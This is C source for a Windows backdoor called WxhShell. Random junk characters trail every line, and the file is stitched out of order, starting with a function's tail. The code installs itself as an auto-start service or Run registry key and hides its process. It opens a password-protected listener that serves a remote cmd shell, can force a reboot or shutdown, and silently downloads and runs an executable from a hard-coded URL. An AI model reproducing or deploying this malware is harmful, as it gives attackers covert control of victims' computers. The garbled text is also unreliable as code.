    if(Boot(SHUTDOWN)) +L`}(yLJ)9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d;]m wLB0  
    else { ge:a{L  
    closesocket(wsh); 2[HPU M2>  
    ExitThread(0); Bv!{V)$  
    } JJ%@m;~  
    break; xPPA8~Dm*  
    } s)`(@"{  
  // 获取shell Nw$OJ9$L>  
  case 's': { B^r?N-Z A  
    CmdShell(wsh); , ?U)mYhI  
    closesocket(wsh); CuvY^["  
    ExitThread(0); *1{A'`.=\  
    break; ]& ckq  
  } yn_f%^!G  
  // 退出 c:u*-lYmK%  
  case 'x': { \fiy[W/k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wjwCs`  
    CloseIt(wsh); +pwTM]bV  
    break; \t&! &R#  
    } _.Hj:nFHz  
  // 离开 Um{) ?1  
  case 'q': { 7@\.()  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vj%"x/TP  
    closesocket(wsh); `G1"&q,i  
    WSACleanup(); @jm+TW  
    exit(1); ; F'IS/ttX  
    break; T`":Q1n  
        } * 3fl}l  
  } z+7V}aPM  
  } Zf3(! a[  
'`2'<^yO  
  // 提示信息 #p>&|I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); //BJaWq  
} 3 0[Xkz  
  } Ja:4EU$Lu  
!DFTg 4xb  
  return; O}zHkcL  
} P|@[D=y  
'1LN)Yw  
// shell模块句柄 s_/@`kd{  
int CmdShell(SOCKET sock) 8c-ys-"#  
{ @2hhBW  
STARTUPINFO si; v)_c*+6u  
ZeroMemory(&si,sizeof(si)); 9DhM 9VU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F t11?D B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m`-:j"]b$  
PROCESS_INFORMATION ProcessInfo; Z,2?TT|p  
char cmdline[]="cmd"; Nuot[1kS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yZ,pH1  
  return 0; g $Y]{VM.J  
} Ebs]]a>PO  
]sb?lAxh{  
// 自身启动模式 .:}<4;Qz94  
int StartFromService(void) 7V::P_aUY  
{ ME]4tu  
typedef struct *W\3cS  
{ /!5ohQlPJ  
  DWORD ExitStatus; =t-Ud^3  
  DWORD PebBaseAddress; `RSiZ%Al  
  DWORD AffinityMask; XLpn3sX$  
  DWORD BasePriority; e8 ]CB  
  ULONG UniqueProcessId; a%m )8N;C  
  ULONG InheritedFromUniqueProcessId; Y QC.jnb2  
}   PROCESS_BASIC_INFORMATION; 5}hQIO&^%  
\A\  
PROCNTQSIP NtQueryInformationProcess; zqdkt `  
];Noe9o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e_epuki  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A'jL+dI.  
uo]\L^j   
  HANDLE             hProcess; n$SL"iezW?  
  PROCESS_BASIC_INFORMATION pbi; V=+|]`  
*(yw6(9%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &2  Yo  
  if(NULL == hInst ) return 0; Z1q<) O1QX  
}GURq#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3Y)z{o>P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;q9Y%*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .jP|b~  
]SA/KV   
  if (!NtQueryInformationProcess) return 0; xM<aQf\j  
Szu @{lpP@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5g-1pzP9  
  if(!hProcess) return 0; U`~L}w"  
?E!M%c@,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J)Yz@0#T(;  
\\ R<HuTY  
  CloseHandle(hProcess); ck `td%  
%u9 Q`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Adiw@q1&  
if(hProcess==NULL) return 0; KS5a8'U  
 ) 4t%?wT  
HMODULE hMod; F7C+uG Ts  
char procName[255]; |4/rVj"  
unsigned long cbNeeded; s7}-j2riq  
VSUWX1k4%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = =pQ V[  
:&&s*_  
  CloseHandle(hProcess); DS4y@,/)'  
PyI"B96gz  
if(strstr(procName,"services")) return 1; // 以服务启动 au=@]n#<(  
X*7VDt=  
  return 0; // 注册表启动 <6.`(isph  
}  l2M(  
fA1{-JzV<4  
// 主模块 GK6~~ga=  
int StartWxhshell(LPSTR lpCmdLine) W +GBSl  
{ OD Ry  
  SOCKET wsl; 0r$n  
BOOL val=TRUE; R9-mq; u+  
  int port=0; aEa.g.SZ  
  struct sockaddr_in door; H^o_B1  
)J yB  
  if(wscfg.ws_autoins) Install(); 73u97oe>1  
x3 ( _fS  
port=atoi(lpCmdLine); Xep2 )3k>  
eFy {VpO+  
if(port<=0) port=wscfg.ws_port; dqB N_P%  
`DGI|3  
  WSADATA data; +>yh` Zb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h c]p^/H  
XLYGhM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k=p[Mlic/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )B+zv,#q  
  door.sin_family = AF_INET; x@)cj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vqoK9  
  door.sin_port = htons(port); rN.8-  
=?]S8cth  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p74Nd4U$s  
closesocket(wsl); g^po$%I '  
return 1; L"c.15\  
} &+hk5?c /  
[ gR,nJH.  
  if(listen(wsl,2) == INVALID_SOCKET) { p,(W?.ZDN?  
closesocket(wsl); 5TeGdfu @  
return 1; ei}(jlQp  
} muK.x7zyl  
  Wxhshell(wsl); ;1_3E2E$  
  WSACleanup(); (6 }7z+  
F_/ra?WVH  
return 0; uB6Mj dp6  
_ q>|pt.W  
} 8090+ ( U  
oxnI/Z  
// 以NT服务方式启动 )@tHS-Jf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WD kE 5  
{ /#t::b+>x  
DWORD   status = 0; Be\@n xV[  
  DWORD   specificError = 0xfffffff; ?y  "M>#  
 -V"W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4}*.0'Hz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u2fp~.'P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "|,KXv')  
  serviceStatus.dwWin32ExitCode     = 0;  VS7  
  serviceStatus.dwServiceSpecificExitCode = 0; 7dE.\#6r  
  serviceStatus.dwCheckPoint       = 0; { +Wknm%  
  serviceStatus.dwWaitHint       = 0; 8`1]#Vw  
x",ktE>9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1TGE>HG  
  if (hServiceStatusHandle==0) return; >b:5&s\9  
1IT(5Mleb  
status = GetLastError(); 7@k3-?q  
  if (status!=NO_ERROR) g"c7$  
{ FKhgUnw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FGm!|iI  
    serviceStatus.dwCheckPoint       = 0; c&h8Qk3  
    serviceStatus.dwWaitHint       = 0; ~*^o[~x]\  
    serviceStatus.dwWin32ExitCode     = status; n\BV*AH  
    serviceStatus.dwServiceSpecificExitCode = specificError; c7WOcy@M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _[l&{,  
    return;  <pD  
  } Z0XQ|gkH  
^q%f~m,O<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OJM2t`}_t  
  serviceStatus.dwCheckPoint       = 0; k;SKQN  
  serviceStatus.dwWaitHint       = 0; [a~@6*=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ )2zz>4  
} !tx.2m*5  
*1:kIi7_  
// 处理NT服务事件,比如:启动、停止 C}L2'l,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S&'s/jB  
{ y~M 6  
switch(fdwControl) h\~!!F  
{ T@zp'6\H  
case SERVICE_CONTROL_STOP: wM-H5\9n  
  serviceStatus.dwWin32ExitCode = 0; _c:th{*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _,e4?grP#  
  serviceStatus.dwCheckPoint   = 0; uI9+@oV  
  serviceStatus.dwWaitHint     = 0; LFYSur8  
  { [;:ocy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E4.A$/s8[  
  } n%02,pC6,  
  return; * {p:C  
case SERVICE_CONTROL_PAUSE: ]xJ. OUJy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <'hoN/g  
  break; D})12qB;u9  
case SERVICE_CONTROL_CONTINUE:  >Af0S;S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {CTJX2&  
  break; >-w# &T &K  
case SERVICE_CONTROL_INTERROGATE: 4gmlK,a  
  break; Lso%1M  
}; 9gIim   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I@#IXH?6  
} <KoOJMx(  
s8' ;4z  
// 标准应用程序主函数 :vaVghN\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <R_)[{ 7  
{ EEx:Xk%5hX  
P9q=tC3^  
// 获取操作系统版本 Y\4B2:Qd9  
OsIsNt=GetOsVer(); P1$D[aF9$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3m$Qd#|  
uy<b5.!-  
  // 从命令行安装 'jy e*  
  if(strpbrk(lpCmdLine,"iI")) Install(); EV|W:;Sg  
$) qL=kR  
  // 下载执行文件 l%2 gM7WMY  
if(wscfg.ws_downexe) { :6o|6MC!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %8YUK/(|n  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'cc{sjG  
} wuSotbc/  
x>T+k8[n  
if(!OsIsNt) { J 5xZL v  
// 如果时win9x,隐藏进程并且设置为注册表启动 H"?Ndl:  
HideProc(); 1/?K/gL  
StartWxhshell(lpCmdLine); TWfk r  
} ^D ;EbR  
else KYz@H#M  
  if(StartFromService()) "2 :zWh7|  
  // 以服务方式启动 KUHkjA_  
  StartServiceCtrlDispatcher(DispatchTable); 4|4[3Ye7u:  
else <B @z>V  
  // 普通方式启动 ph%t #R  
  StartWxhshell(lpCmdLine); r!|h3*YA  
D^f;X.Qm  
return 0; pP#|: %  
} }n"gX>e~  
?t/\ ID  
%D% Ok7s})  
TS=U%)Ik  
=========================================== ##Qy6Dc  
nu2m5RYx  
WKwYSbs(  
]c6h'}  
u Qg$hS  
'#Do( U'  
" 3bQq Nk  
:dxKcg7  
#include <stdio.h> lfr^NxOU  
#include <string.h> <KE%|6oER  
#include <windows.h> O.-A)S@  
#include <winsock2.h> ~w.y9)",  
#include <winsvc.h> JcfGe4  
#include <urlmon.h> S5YEz XG  
SN[ar&I  
#pragma comment (lib, "Ws2_32.lib") K%u>'W  
#pragma comment (lib, "urlmon.lib") dh%DALZ8t  
Zvra >%  
#define MAX_USER   100 // 最大客户端连接数 tC.etoh  
#define BUF_SOCK   200 // sock buffer NiRb:F-  
#define KEY_BUFF   255 // 输入 buffer O:imX>|u  
{]dvzoE]  
#define REBOOT     0   // 重启 JEP9!y9y  
#define SHUTDOWN   1   // 关机 #<#-Bv  
9 aKU}y  
#define DEF_PORT   5000 // 监听端口 :lK8i{o  
+G,_|C2J  
#define REG_LEN     16   // 注册表键长度 aEun *V^,  
#define SVC_LEN     80   // NT服务名长度 <)Y jVGG  
H wz$zF+R  
// 从dll定义API $FZcvo3@*S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?D(aky#cyc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +x~p&,w?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vo|[Z)MO`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H.o3d/8:  
+4Q1s?`  
// wxhshell配置信息 k?1e + \  
struct WSCFG { R38 \&F  
  int ws_port;         // 监听端口 +k0UVZZX?  
  char ws_passstr[REG_LEN]; // 口令 \XfLTv  
  int ws_autoins;       // 安装标记, 1=yes 0=no `(6cRT`Wp  
  char ws_regname[REG_LEN]; // 注册表键名 }FX:sa?5  
  char ws_svcname[REG_LEN]; // 服务名 >X5RRSo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 czB),vooz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q!I><u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [<>%I#7ulG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l%qh^0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R3.8Dr 0f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AKS. XW  
FV/lBWiQQ  
}; x&$8;2&.  
1O1MB&5%  
// default Wxhshell configuration ^Cj3\G4,  
struct WSCFG wscfg={DEF_PORT, kovJ9  
    "xuhuanlingzhe", [fs.D /  
    1, AtqsrYj  
    "Wxhshell", O(:/ &`)  
    "Wxhshell", \3hFb,/4k  
            "WxhShell Service", omT^jh  
    "Wrsky Windows CmdShell Service", &z>iqm"Ww  
    "Please Input Your Password: ", /03?(n= 3  
  1, b=SCyGxlZ5  
  "http://www.wrsky.com/wxhshell.exe", ~3|)[R=+p1  
  "Wxhshell.exe" HHOqJb{8S  
    }; :!FGvR6  
$2a_!/  
// 消息定义模块 KHM,lj*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 08g2? 5w"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S8C} C#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &4*f28 s  
char *msg_ws_ext="\n\rExit."; 2;w> w#}>  
char *msg_ws_end="\n\rQuit."; 4{0vdpo3F  
char *msg_ws_boot="\n\rReboot..."; fVi[mH0=+  
char *msg_ws_poff="\n\rShutdown..."; =p dLh  
char *msg_ws_down="\n\rSave to "; |\)Y,~;P  
//bQD>NBO  
char *msg_ws_err="\n\rErr!"; 9Fg:   
char *msg_ws_ok="\n\rOK!"; " ^!=e72  
KbH|'/w  
char ExeFile[MAX_PATH]; vorb?iVf>  
int nUser = 0; Ml )<4@  
HANDLE handles[MAX_USER]; wBEBj7(y  
int OsIsNt; Bm6t f}8  
~RV9'v4  
SERVICE_STATUS       serviceStatus; KXBTJ&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (aB:P03  
+Q"XwxL<6  
// 函数声明 V8Z@y&ny  
int Install(void); GY"c1 KE$  
int Uninstall(void); tv; ?W=&P  
int DownloadFile(char *sURL, SOCKET wsh); QJI]@3 Y  
int Boot(int flag); Q v},X~^R  
void HideProc(void); >}d6)s|   
int GetOsVer(void); g O8~$Aj  
int Wxhshell(SOCKET wsl); c57`mOe/b  
void TalkWithClient(void *cs); hK3Twzte  
int CmdShell(SOCKET sock); V2g"5nYT  
int StartFromService(void); 'G`xD3 E3,  
int StartWxhshell(LPSTR lpCmdLine); 9MbF:  
AR g]GV/L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mv:\T%]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]UZP dw1D  
SXV2Y-  
// 数据结构和表定义 <<9|*Tz  
SERVICE_TABLE_ENTRY DispatchTable[] = v(,YqT>q@U  
{ GxE`z6%[  
{wscfg.ws_svcname, NTServiceMain}, VuH }@  
{NULL, NULL} dd4^4X`j  
}; -@~4:o  
"M,Hm!j  
// 自我安装 j ~I_by  
int Install(void) Q{~;4+ZD  
{ X#X/P  
  char svExeFile[MAX_PATH]; ifmX<'(9A  
  HKEY key; G%CS1#  
  strcpy(svExeFile,ExeFile); S5cs(}Bq  
7b R[.|T  
// 如果是win9x系统,修改注册表设为自启动 >B.KI}dE  
if(!OsIsNt) { p1IN%*IV+o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :2~2j-m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I1p{(fJ  
  RegCloseKey(key); ]DZ~"+LaG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '"6*C*XS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~e5E%bXxC  
  RegCloseKey(key); #5X+. !L  
  return 0; Z/OERO   
    } r\q|DZ7  
  } .pblI  
} O81'i2M J9  
else { r4]hcoU  
-r[O_[g w  
// 如果是NT以上系统,安装为系统服务 k40`,;}9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HUel  
if (schSCManager!=0) p<B*)1Tj0  
{ +t(Gt0+  
  SC_HANDLE schService = CreateService [6nN]U~Y  
  ( ] B>.}  
  schSCManager, 0aYoc-( A  
  wscfg.ws_svcname, \M*c3\&~,e  
  wscfg.ws_svcdisp, `L3{y/U'  
  SERVICE_ALL_ACCESS,  X$_z"t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WT1d'@LY  
  SERVICE_AUTO_START, IkQ,#Bsb[  
  SERVICE_ERROR_NORMAL, )ZfbM|  
  svExeFile, <"7Wb"+  
  NULL, $8Gj9mw4e'  
  NULL, :7s2M  
  NULL, SYgkYR  
  NULL, 5$*=;ls>J  
  NULL W'v o?  
  ); IG!(q%Gf  
  if (schService!=0) <Q_E3lQy/  
  { +_ $!9m  
  CloseServiceHandle(schService); $WsyAUl  
  CloseServiceHandle(schSCManager); *~zB{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j!IkU}*c  
  strcat(svExeFile,wscfg.ws_svcname); (?[%u0%_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _*wlK;`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BfDC[(n`  
  RegCloseKey(key); P o\d!  
  return 0; e8k|%m<Sp  
    } lXutZ<S[  
  } R'^J#"[  
  CloseServiceHandle(schSCManager); </2Cn@  
} GFvLd:p` [  
} z#6(PZC}  
/'bX}H(dq  
return 1; , Q)  
} r>6FJ:Tx  
P6`LUyz3  
// 自我卸载 ~pwk[Q!  
int Uninstall(void) $?DEO[p.  
{ JHJ]BMm  
  HKEY key; "!:)qVL^  
_CizU0S  
if(!OsIsNt) { @u:q#b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 43*;"w=  
  RegDeleteValue(key,wscfg.ws_regname); D4T(Dce  
  RegCloseKey(key); H?;@r1ZAn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cEK#5   
  RegDeleteValue(key,wscfg.ws_regname); FaKZ|~Y e  
  RegCloseKey(key); RP9~n)h~b  
  return 0; !14l[k+\  
  } %Lp#2?*  
} f;bVzti+w  
} .+5;AtN  
else { !y3XIbdS"  
R+9 hog  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w NMA)S  
if (schSCManager!=0) CW,|l0i  
{ ozl>Au  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .+~9 vH  
  if (schService!=0) ESuP ZB  
  { Cjj(v7[E  
  if(DeleteService(schService)!=0) { )O>M~  
  CloseServiceHandle(schService); ',I$`h  
  CloseServiceHandle(schSCManager); gj82qy\:  
  return 0; nE4rB\  
  } /pJr%}sc  
  CloseServiceHandle(schService); jV#1d8qm  
  } Gg%pU+'T  
  CloseServiceHandle(schSCManager); `* cJc6  
} 8]WcW/1r !  
} '~xiD?:  
_OB^ywHn.  
return 1; |oR#j `  
} "|/q4JN)7d  
b6'ZVB  
// 从指定url下载文件 4hW:c0  
int DownloadFile(char *sURL, SOCKET wsh) '<AE%i,  
{ }{.V^;  
  HRESULT hr; E>F6!qYm  
char seps[]= "/"; %4w#EbkSS  
char *token; 3vEwui-5  
char *file; )b,FE}YX  
char myURL[MAX_PATH]; ngzQVaB9  
char myFILE[MAX_PATH]; |Rb8 / WX  
@ZtvpL}e  
strcpy(myURL,sURL); j{H IdP  
  token=strtok(myURL,seps); F`o"t]AD-a  
  while(token!=NULL) ZsGJ[  
  { N^jr  
    file=token; i$H9~tPs  
  token=strtok(NULL,seps); wLo<gA6;  
  } XKvH^Z4h{l  
{-yw@Kq  
GetCurrentDirectory(MAX_PATH,myFILE); Nk?/vMaw  
strcat(myFILE, "\\"); !)FKF7'  
strcat(myFILE, file); ![m6$G{y  
  send(wsh,myFILE,strlen(myFILE),0); A9LVS&52  
send(wsh,"...",3,0); zn5|ewl@"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >&Vz/0  
  if(hr==S_OK) JC7:0A^  
return 0; Lo}zT-F  
else OOzXA%<%c  
return 1; 2QKt.a  
`Yyi;!+0  
} u3IhB8'  
%4Yq (e  
// 系统电源模块 UFyk%#L  
int Boot(int flag) &cy<"y  
{ ]vH:@%3U  
  HANDLE hToken; _[N*k"  
  TOKEN_PRIVILEGES tkp; "MyMByomQ  
'v5q/l  
  if(OsIsNt) { </_.+c [  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xn1, o MY=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F:LrQu  
    tkp.PrivilegeCount = 1; BVS SO's  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +_ny{i`'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )<.y{_QUN  
if(flag==REBOOT) { V2$M`|E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FDuIm,NI  
  return 0; n39EKH rm%  
} 8I0G%hD  
else { 1e I_F8I U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <>V~  
  return 0; i$CF*%+t  
} T `o[whr  
  } )QI#szv6  
  else { v(P <_}G  
if(flag==REBOOT) { SA?1*dw)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %{0F.  
  return 0; Op hD_^  
} kv<(N  
else { nY,LQ0r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P[jh^!<j  
  return 0; aTs9lr:  
} \xmDkWzE  
} kR{$&cE^  
<Ik5S1<h$H  
return 1; c,#Nd@  
}  gOy{ RE  
JX`>N(K4\  
// win9x进程隐藏模块 f,ql8q(|J  
void HideProc(void) A:5P  
{ <]*Jhnx/  
_WI~b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @2TfW]6  
  if ( hKernel != NULL ) 9fsc>9  
  { i*mI-l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \!*F:v0g^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $paE6X^  
    FreeLibrary(hKernel); >2NsBS(  
  } W >|'4y)  
?<^^.Si  
return; OXZx!h  
} ](`:<>c  
4I2#L+W  
// 获取操作系统版本 LYTnMrM  
int GetOsVer(void) kRH D{6mol  
{ qJw\<7m  
  OSVERSIONINFO winfo; rym*W\AWx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .:tR*Kst`7  
  GetVersionEx(&winfo); eQIS`T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^c| 0?EH  
  return 1; u3sr"w&  
  else ^tVIPH.R  
  return 0; <)oxs ]<  
} &09G9GsnQ  
}{v0}-~@  
// 客户端句柄模块 @9\E  
int Wxhshell(SOCKET wsl) f|2QI ~R  
{ y tTppmJF  
  SOCKET wsh; ?yA 2N;  
  struct sockaddr_in client; Az/P;C=  
  DWORD myID; {6F]w_\  
5,R<9FjW  
  while(nUser<MAX_USER) w7~&Xxa/  
{ LtNspFoLb  
  int nSize=sizeof(client); " pL5j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =-G4 BQ  
  if(wsh==INVALID_SOCKET) return 1; dCzS f4:  
!@> :k3DC&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q2M%AvR  
if(handles[nUser]==0) ppO!v?  
  closesocket(wsh); =E&1e;_xlE  
else d/E0opv  
  nUser++; ,;yaYF 6|/  
  } pzU:AUW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \G6V-W  
j)}TZx4~  
  return 0; E,[v%Xw   
} T=fVD8  
~Yg+bwh  
// 关闭 socket `[tYe<  
void CloseIt(SOCKET wsh) M2nZ,I=l  
{ '@#l/9  
closesocket(wsh); 3.%jet1  
nUser--; ] .c$(.  
ExitThread(0); (- {.T  
} sA+( |cEh  
'WwD$e0=  
// 客户端请求句柄 3UJSK+d\  
void TalkWithClient(void *cs) "=0JYh)%_  
{ K ?V' ?s  
>F/5`=/'h  
  SOCKET wsh=(SOCKET)cs; #F+b^WTR  
  char pwd[SVC_LEN]; 7] 17?s]t,  
  char cmd[KEY_BUFF]; 9tB:1n}  
char chr[1]; `_M&zN  
int i,j; ^2mCF  
1@`mpm#Y  
  while (nUser < MAX_USER) { Mey=%Fv  
M532>+A]Za  
if(wscfg.ws_passstr) { Xyw;Nh!!d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1@Rl^ey  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h>n<5{zqM  
  //ZeroMemory(pwd,KEY_BUFF); Yd<q4VJR  
      i=0; /^Zgv-n  
  while(i<SVC_LEN) { 0,m@BsK  
{c=H#- A  
  // 设置超时 QBTjiaYGa'  
  fd_set FdRead; ;5=5HYx%  
  struct timeval TimeOut; 9jrlB0  
  FD_ZERO(&FdRead); h?&S*)1  
  FD_SET(wsh,&FdRead); Evq^c5n>{  
  TimeOut.tv_sec=8; %<'PSri  
  TimeOut.tv_usec=0; 3HB(rTw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I)f54AX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QCvst*  
:JG2xtn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !T26#>mV  
  pwd=chr[0]; t0o'_>*?A  
  if(chr[0]==0xd || chr[0]==0xa) { I$1~;!<  
  pwd=0; YN5p@b=FX  
  break; 8,&QY%8pX  
  } Pqv9> N|  
  i++; Z$ Mc{  
    } GZNfx8zsY+  
)Xd2qbi  
  // 如果是非法用户,关闭 socket 0D_{LBO6LU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c!>",rce  
} NFlrr*=t>  
N^By#Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K7gqF~5x~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j{;IiVHnR  
jR o4+8  
while(1) { u7ER  
%%Z|6V74  
  ZeroMemory(cmd,KEY_BUFF); K@+(6\6I  
)w!*6<  
      // 自动支持客户端 telnet标准   FQ6{NMz,h  
  j=0; ao.v]6a  
  while(j<KEY_BUFF) { "ku ?A^f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b>"=kN/  
  cmd[j]=chr[0]; $sR-J'EE!  
  if(chr[0]==0xa || chr[0]==0xd) { V/i7Zh#2:  
  cmd[j]=0; jCv%[H7  
  break; 6?(vXPpT$  
  } :p,DAt}  
  j++; ~V<62"G  
    } h> A}vI*:  
/ qo`vk A  
  // 下载文件 S) [$F}  
  if(strstr(cmd,"http://")) { l:rT{l=8*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~J,e^$u  
  if(DownloadFile(cmd,wsh)) dTW3mF4=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J`x!c9zg7  
  else p-;I"uKv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .ITR3]$  
  } `jyBF  
  else { 2Sg,b8  
j9Y'HU5"  
    switch(cmd[0]) { ' Zmslijf  
  X6g{qzHg_  
  // 帮助 woCFkO;'O  
  case '?': { 51lN,VVD  
